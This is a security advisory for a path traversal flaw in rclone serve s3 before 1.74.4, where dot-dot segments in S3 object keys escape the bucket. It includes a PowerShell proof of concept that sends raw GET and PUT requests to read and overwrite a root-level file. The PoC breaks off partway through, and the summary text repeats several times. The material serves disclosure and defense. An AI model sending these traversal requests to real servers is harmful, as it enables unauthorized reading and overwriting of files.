CVE-2026-79781

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

Summary

rclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket "bucket", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.

Details

The affected component is rclone serve s3.

Relevant source files:

cmd/serve/s3/backend.go cmd/serve/s3/multipart.go cmd/serve/s3/list.go

In cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:

fp := path.Join(bucketName, objectName)

This pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.

S3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.

For example, when rclone serve s3 is serving a root directory that contains:

root/ bucket/ root-secret.txt

a raw S3 HTTP request to:

GET /bucket/../root-secret.txt

is parsed as a request for bucket "bucket" and object "../root-secret.txt". The backend then calculates:

path.Join("bucket", "../root-secret.txt") == "root-secret.txt"

This causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.

The same behavior affects writes. A request such as:

PUT /bucket/../root-secret.txt

overwrites root-secret.txt in the serve root.

This is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.

PoC

PoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing

Test environment:

Windows 11 rclone v1.74.3 official Windows binary rclone serve s3 using a local filesystem root No --auth-key configured, so the server allows anonymous access as documented

1. Prepare a test serve root:

$base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root"

Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER"

2. Start rclone serve s3:

$rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe"

& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log"

3. In another terminal, send a raw HTTP GET request containing a dot-dot object key:

$port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: 0rnConnection: closernrn"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length) [Text.Encoding]::ASCII.GetString($buf, 0, $read) $client.Close()

4. Observe that the response contains the root-level file content:

HTTP/1.1 200 OK

ROOT_LEVEL_SECRET_MARKER

5. Send a raw HTTP PUT request to overwrite the same root-level file:

$body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: $($body.Length)rnConnection: closernrn$body"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = [Text.Encoding]::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length)…

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.

rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys. Attackers can send requests with object keys like ../root-secret.txt to escape the bucket namespace and access files in the serve root directory.